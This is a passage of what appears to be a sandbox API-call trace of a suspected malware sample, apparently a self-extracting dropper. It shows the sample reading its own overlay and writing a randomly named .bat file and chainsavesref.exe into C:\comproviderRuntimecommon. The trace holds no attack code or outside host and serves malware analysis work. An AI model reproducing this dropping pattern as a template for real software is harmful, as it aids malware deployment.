(Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0075.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0075.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0075.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0075.465] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40) returned 0x4d7bc8 [0075.465] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc0) returned 0x555ef8 [0075.465] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10c0) returned 0x4f79c8 [0075.465] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10c0) returned 0x4f8a90 [0075.465] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe6e0) returned 0x4f9b58 [0075.465] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8003) returned 0x508240 [0075.465] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8003) returned 0x510250 [0075.465] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x338) returned 0x518260 [0075.465] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=64, lpName=0x0) returned 0x1c [0075.465] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x148 [0075.465] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe"), lpFindFileData=0x3c7520 | out: lpFindFileData=0x3c7520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb11df80, ftCreationTime.dwHighDateTime=0x1d8a929, ftLastAccessTime.dwLowDateTime=0xeb11df80, ftLastAccessTime.dwHighDateTime=0x1d8a929, ftLastWriteTime.dwLowDateTime=0x55b52200, ftLastWriteTime.dwHighDateTime=0x1d8a90e, nFileSizeHigh=0x0, nFileSizeLow=0x12ce9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe", cAlternateFileName="05379E~1.EXE")) returned 0x4f7590 [0075.465] FindClose (in: hFindFile=0x4f7590 | out: hFindFile=0x4f7590) returned 1 [0075.466] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10c0) returned 0x5185a0 [0075.466] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10c0) returned 0x519668 [0075.466] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x14c [0075.466] ReadFile (in: hFile=0x14c, lpBuffer=0x3c0c2c, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3be9a4, lpOverlapped=0x0 | out: lpBuffer=0x3c0c2c*, lpNumberOfBytesRead=0x3be9a4*=0x7, lpOverlapped=0x0) returned 1 [0075.466] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x200000) returned 0x3090020 [0075.466] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3be9d8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3be9d8*=0) returned 0x7 [0075.466] ReadFile (in: hFile=0x14c, lpBuffer=0x3090020, nNumberOfBytesToRead=0x1ffff0, lpNumberOfBytesRead=0x3be9a4, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x3be9a4*=0x12ce95, lpOverlapped=0x0) returned 1 [0075.494] SetFilePointer (in: hFile=0x14c, lDistanceToMove=383488, lpDistanceToMoveHigh=0x3be9b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3be9b8*=0) returned 0x5da00 [0075.494] ReadFile (in: hFile=0x14c, lpBuffer=0x3c0c2c, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3be9a4, lpOverlapped=0x0 | out: lpBuffer=0x3c0c2c*, lpNumberOfBytesRead=0x3be9a4*=0x7, lpOverlapped=0x0) returned 1 [0075.508] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x3090020 | out: hHeap=0x4c0000) returned 1 [0075.522] ReadFile (in: hFile=0x14c, lpBuffer=0x3c0c33, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x3be9a4, lpOverlapped=0x0 | out: lpBuffer=0x3c0c33*, lpNumberOfBytesRead=0x3be9a4*=0x1, lpOverlapped=0x0) returned 1 [0075.522] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3be9cc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3be9cc*=0) returned 0x5da08 [0075.522] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x552f98 [0075.522] ReadFile (in: hFile=0x14c, lpBuffer=0x552f98, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3bc88c, lpOverlapped=0x0 | out: lpBuffer=0x552f98*, lpNumberOfBytesRead=0x3bc88c*=0x7, lpOverlapped=0x0) returned 1 [0075.522] ReadFile (in: hFile=0x14c, lpBuffer=0x552f9f, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x3bc88c, lpOverlapped=0x0 | out: lpBuffer=0x552f9f*, lpNumberOfBytesRead=0x3bc88c*=0xa, lpOverlapped=0x0) returned 1 [0075.523] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x552f98 | out: hHeap=0x4c0000) returned 1 [0075.523] SetFilePointer (in: hFile=0x14c, lDistanceToMove=383513, lpDistanceToMoveHigh=0x3be9ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3be9ac*=0) returned 0x5da19 [0075.523] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3be9d8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3be9d8*=0) returned 0x5da19 [0075.523] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3be9cc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3be9cc*=0) returned 0x5da19 [0075.523] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x552f98 [0075.523] ReadFile (in: hFile=0x14c, lpBuffer=0x552f98, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3bc88c, lpOverlapped=0x0 | out: lpBuffer=0x552f98*, lpNumberOfBytesRead=0x3bc88c*=0x7, lpOverlapped=0x0) returned 1 [0075.523] ReadFile (in: hFile=0x14c, lpBuffer=0x552f9f, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x3bc88c, lpOverlapped=0x0 | out: lpBuffer=0x552f9f*, lpNumberOfBytesRead=0x3bc88c*=0x11, lpOverlapped=0x0) returned 1 [0075.524] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x552f98 | out: hHeap=0x4c0000) returned 1 [0075.524] SetFilePointer (in: hFile=0x14c, lDistanceToMove=383635, lpDistanceToMoveHigh=0x3be9ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3be9ac*=0) returned 0x5da93 [0075.524] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3be9cc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3be9cc*=0) returned 0x5da93 [0075.524] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x552f98 [0075.524] ReadFile (in: hFile=0x14c, lpBuffer=0x552f98, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3bc88c, lpOverlapped=0x0 | out: lpBuffer=0x552f98*, lpNumberOfBytesRead=0x3bc88c*=0x7, lpOverlapped=0x0) returned 1 [0075.524] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x552f98, Size=0x48) returned 0x554e30 [0075.524] ReadFile (in: hFile=0x14c, lpBuffer=0x554e37, nNumberOfBytesToRead=0x30, lpNumberOfBytesRead=0x3bc88c, lpOverlapped=0x0 | out: lpBuffer=0x554e37*, lpNumberOfBytesRead=0x3bc88c*=0x30, lpOverlapped=0x0) returned 1 [0075.524] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x554e30 | out: hHeap=0x4c0000) returned 1 [0075.525] SetFilePointer (in: hFile=0x14c, lDistanceToMove=383513, lpDistanceToMoveHigh=0x3be9b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3be9b8*=0) returned 0x5da19 [0075.525] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3be9f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3be9f4*=0) returned 0x5da19 [0075.525] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3be9d4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x3be9d4*=0) returned 0x12ce9c [0075.525] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3be9f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3be9f4*=0) returned 0x12ce9c [0075.525] SetFilePointer (in: hFile=0x14c, lDistanceToMove=383513, lpDistanceToMoveHigh=0x3be9d4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3be9d4*=0) returned 0x5da19 [0075.525] GetSystemTime (in: lpSystemTime=0x3be9f8 | out: lpSystemTime=0x3be9f8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x0, wMinute=0x12, wSecond=0x1c, wMilliseconds=0xcd)) [0075.525] SystemTimeToFileTime (in: lpSystemTime=0x3be9f8, lpFileTime=0x3bea08 | out: lpFileTime=0x3bea08) returned 1 [0075.525] LoadStringW (in: hInstance=0x12d0000, uID=0x8d, lpBuffer=0x1312798, cchBufferMax=1024 | out: lpBuffer="Extracting from %s") returned 0x12 [0075.525] GetLastError () returned 0x0 [0075.525] SetLastError (dwErrCode=0x0) [0075.525] PeekMessageW (in: lpMsg=0x3bd578, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3bd578) returned 0 [0075.525] GetDlgItem (hDlg=0xa005c, nIDDlgItem=104) returned 0x2031a [0075.526] SendMessageW (hWnd=0x2031a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x38 [0075.526] SendMessageW (hWnd=0x2031a, Msg=0x43a, wParam=0x0, lParam=0x3bd5ac) returned 0xf800003f [0075.526] SendMessageW (hWnd=0x2031a, Msg=0x444, wParam=0x1, lParam=0x3bd5ac) returned 0x1 [0075.526] SendMessageW (hWnd=0x2031a, Msg=0xc2, wParam=0x0, lParam=0x3bd614) returned 0x54 [0075.532] SendMessageW (hWnd=0x2031a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x8c [0075.532] SendMessageW (hWnd=0x2031a, Msg=0xc2, wParam=0x0, lParam=0x130431c) returned 0x1 [0075.532] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3be9e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3be9e8*=0) returned 0x5da19 [0075.532] SetFilePointer (in: hFile=0x14c, lDistanceToMove=383513, lpDistanceToMoveHigh=0x3be9b4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3be9b4*=0) returned 0x5da19 [0075.532] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3be9b4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3be9b4*=0) returned 0x5da19 [0075.532] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x552f98 [0075.532] ReadFile (in: hFile=0x14c, lpBuffer=0x552f98, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3bc874, lpOverlapped=0x0 | out: lpBuffer=0x552f98*, lpNumberOfBytesRead=0x3bc874*=0x7, lpOverlapped=0x0) returned 1 [0075.532] ReadFile (in: hFile=0x14c, lpBuffer=0x552f9f, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x3bc874, lpOverlapped=0x0 | out: lpBuffer=0x552f9f*, lpNumberOfBytesRead=0x3bc874*=0x11, lpOverlapped=0x0) returned 1 [0075.533] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x552f98 | out: hHeap=0x4c0000) returned 1 [0075.533] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8003) returned 0x51a730 [0075.533] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8003) returned 0x522740 [0075.533] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x555fc0 [0075.538] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x62) returned 0x4c2968 [0075.538] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xb54) returned 0x595fc8 [0075.538] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0xdf0020 [0075.538] ReadFile (in: hFile=0x14c, lpBuffer=0xdf0020, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x3b01fc, lpOverlapped=0x0 | out: lpBuffer=0xdf0020*, lpNumberOfBytesRead=0x3b01fc*=0x62, lpOverlapped=0x0) returned 1 [0075.538] PeekMessageW (in: lpMsg=0x3b0208, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b0208) returned 0 [0075.538] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.538] PeekMessageW (in: lpMsg=0x3b0214, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b0214) returned 0 [0075.538] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.538] PeekMessageW (in: lpMsg=0x3b0200, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b0200) returned 0 [0075.538] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.546] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0xdf0020 | out: hHeap=0x4c0000) returned 1 [0075.548] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x555fc0 | out: hHeap=0x4c0000) returned 1 [0075.549] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x522740 | out: hHeap=0x4c0000) returned 1 [0075.549] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51a730 | out: hHeap=0x4c0000) returned 1 [0075.549] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4c2968, Size=0x9a) returned 0x4c2968 [0075.549] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc6) returned 0x4f7590 [0075.550] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4c2968 | out: hHeap=0x4c0000) returned 1 [0075.550] SetFilePointer (in: hFile=0x14c, lDistanceToMove=383513, lpDistanceToMoveHigh=0x3be9c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3be9c8*=0) returned 0x5da19 [0075.550] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f7590 | out: hHeap=0x4c0000) returned 1 [0075.550] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3bea1c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3bea1c*=0) returned 0x5da19 [0075.550] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x552f98 [0075.550] ReadFile (in: hFile=0x14c, lpBuffer=0x552f98, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3bc8dc, lpOverlapped=0x0 | out: lpBuffer=0x552f98*, lpNumberOfBytesRead=0x3bc8dc*=0x7, lpOverlapped=0x0) returned 1 [0075.551] ReadFile (in: hFile=0x14c, lpBuffer=0x552f9f, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x3bc8dc, lpOverlapped=0x0 | out: lpBuffer=0x552f9f*, lpNumberOfBytesRead=0x3bc8dc*=0x11, lpOverlapped=0x0) returned 1 [0075.551] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x552f98 | out: hHeap=0x4c0000) returned 1 [0075.551] SetFilePointer (in: hFile=0x14c, lDistanceToMove=383635, lpDistanceToMoveHigh=0x3b9830*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3b9830*=0) returned 0x5da93 [0075.551] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3bea1c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3bea1c*=0) returned 0x5da93 [0075.551] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x552f98 [0075.551] ReadFile (in: hFile=0x14c, lpBuffer=0x552f98, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3bc8dc, lpOverlapped=0x0 | out: lpBuffer=0x552f98*, lpNumberOfBytesRead=0x3bc8dc*=0x7, lpOverlapped=0x0) returned 1 [0075.551] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x552f98, Size=0x48) returned 0x554e30 [0075.551] ReadFile (in: hFile=0x14c, lpBuffer=0x554e37, nNumberOfBytesToRead=0x30, lpNumberOfBytesRead=0x3bc8dc, lpOverlapped=0x0 | out: lpBuffer=0x554e37*, lpNumberOfBytesRead=0x3bc8dc*=0x30, lpOverlapped=0x0) returned 1 [0075.552] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x554e30 | out: hHeap=0x4c0000) returned 1 [0075.552] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="DLLiR59GMmL352HHbgfc.bat", cchCount2=1) returned 1 [0075.552] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.552] GetProcAddress (hModule=0x76860000, lpProcName="CharUpperW") returned 0x7687f350 [0075.553] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3b7764 | out: lpflOldProtect=0x3b7764*=0x4) returned 1 [0075.553] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="DLLiR59GMmL352HHbgfc.bat", cchCount2=-1) returned 1 [0075.553] SetFilePointer (in: hFile=0x14c, lDistanceToMove=383690, lpDistanceToMoveHigh=0x3b983c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3b983c*=0) returned 0x5daca [0075.553] LoadStringW (in: hInstance=0x12d0000, uID=0x65, lpBuffer=0x1312f98, cchBufferMax=1024 | out: lpBuffer="Extracting %s") returned 0xd [0075.553] GetLastError () returned 0x6 [0075.553] SetLastError (dwErrCode=0x6) [0075.553] SetDlgItemTextW (hDlg=0xa005c, nIDDlgItem=101, lpString="Extracting DLLiR59GMmL352HHbgfc.bat") returned 1 [0075.553] PeekMessageW (in: lpMsg=0x3b8428, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b8428) returned 0 [0075.553] FindFirstFileW (in: lpFileName="DLLiR59GMmL352HHbgfc.bat" (normalized: "c:\\comproviderruntimecommon\\dllir59gmml352hhbgfc.bat"), lpFindFileData=0x3b85f0 | out: lpFindFileData=0x3b85f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.554] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x3b75cc | out: lpBuffer="C:\\comproviderRuntimecommon") returned 0x1b [0075.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\comproviderRuntimecommon\\DLLiR59GMmL352HHbgfc.bat" (normalized: "c:\\comproviderruntimecommon\\dllir59gmml352hhbgfc.bat"), lpFindFileData=0x3b85f0 | out: lpFindFileData=0x3b85f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.554] GetLastError () returned 0x2 [0075.554] GetFileAttributesW (lpFileName="DLLiR59GMmL352HHbgfc.bat" (normalized: "c:\\comproviderruntimecommon\\dllir59gmml352hhbgfc.bat")) returned 0xffffffff [0075.554] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x3b6794 | out: lpBuffer="C:\\comproviderRuntimecommon") returned 0x1b [0075.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\comproviderRuntimecommon\\DLLiR59GMmL352HHbgfc.bat" (normalized: "c:\\comproviderruntimecommon\\dllir59gmml352hhbgfc.bat")) returned 0xffffffff [0075.554] CreateFileW (lpFileName="DLLiR59GMmL352HHbgfc.bat" (normalized: "c:\\comproviderruntimecommon\\dllir59gmml352hhbgfc.bat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0075.555] GetFileType (hFile=0x150) returned 0x1 [0075.555] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xb54) returned 0x51a730 [0075.555] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xb54) returned 0x51b290 [0075.555] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0xdf0020 [0075.555] ReadFile (in: hFile=0x14c, lpBuffer=0xdf0020, nNumberOfBytesToRead=0x2f, lpNumberOfBytesRead=0x3b97c4, lpOverlapped=0x0 | out: lpBuffer=0xdf0020*, lpNumberOfBytesRead=0x3b97c4*=0x2f, lpOverlapped=0x0) returned 1 [0075.555] SendDlgItemMessageW (hDlg=0xa005c, nIDDlgItem=106, Msg=0x402, wParam=0x1f, lParam=0x0) returned 0x0 [0075.557] PeekMessageW (in: lpMsg=0x3b976c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b976c) returned 0 [0075.557] PeekMessageW (in: lpMsg=0x3b97d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b97d0) returned 0 [0075.557] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.557] WriteFile (in: hFile=0x150, lpBuffer=0xdf0020*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x3b97f8, lpOverlapped=0x0 | out: lpBuffer=0xdf0020*, lpNumberOfBytesWritten=0x3b97f8*=0x2f, lpOverlapped=0x0) returned 1 [0075.558] PeekMessageW (in: lpMsg=0x3b97dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b97dc) returned 0 [0075.558] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.558] SendDlgItemMessageW (hDlg=0xa005c, nIDDlgItem=106, Msg=0x402, wParam=0x1f, lParam=0x0) returned 0x1f [0075.558] PeekMessageW (in: lpMsg=0x3b9764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b9764) returned 0 [0075.558] PeekMessageW (in: lpMsg=0x3b97c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3b97c8) returned 0 [0075.558] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.565] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0xdf0020 | out: hHeap=0x4c0000) returned 1 [0075.607] SetFilePointer (in: hFile=0x14c, lDistanceToMove=383737, lpDistanceToMoveHigh=0x3b9830*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3b9830*=0) returned 0x5daf9 [0075.607] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x3b983c) returned 1 [0075.607] CloseHandle (hObject=0x150) returned 1 [0075.609] SetFileAttributesW (lpFileName="DLLiR59GMmL352HHbgfc.bat", dwFileAttributes=0x20) returned 1 [0075.609] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3bea1c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3bea1c*=0) returned 0x5daf9 [0075.609] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x552f98 [0075.609] ReadFile (in: hFile=0x14c, lpBuffer=0x552f98, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3bc8dc, lpOverlapped=0x0 | out: lpBuffer=0x552f98*, lpNumberOfBytesRead=0x3bc8dc*=0x7, lpOverlapped=0x0) returned 1 [0075.609] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x552f98, Size=0x48) returned 0x554e30 [0075.609] ReadFile (in: hFile=0x14c, lpBuffer=0x554e37, nNumberOfBytesToRead=0x2d, lpNumberOfBytesRead=0x3bc8dc, lpOverlapped=0x0 | out: lpBuffer=0x554e37*, lpNumberOfBytesRead=0x3bc8dc*=0x2d, lpOverlapped=0x0) returned 1 [0075.610] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x554e30 | out: hHeap=0x4c0000) returned 1 [0075.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="chainsavesref.exe", cchCount2=1) returned 1 [0075.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="chainsavesref.exe", cchCount2=-1) returned 1 [0075.610] SetFilePointer (in: hFile=0x14c, lDistanceToMove=383789, lpDistanceToMoveHigh=0x3b983c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3b983c*=0) returned 0x5db2d [0075.610] LoadStringW (in: hInstance=0x12d0000, uID=0x65, lpBuffer=0x1313798, cchBufferMax=1024 | out: lpBuffer="Extracting %s") returned 0xd [0075.610] GetLastError () returned 0x0 [0075.610] SetLastError (dwErrCode=0x0) [0075.610] SetDlgItemTextW 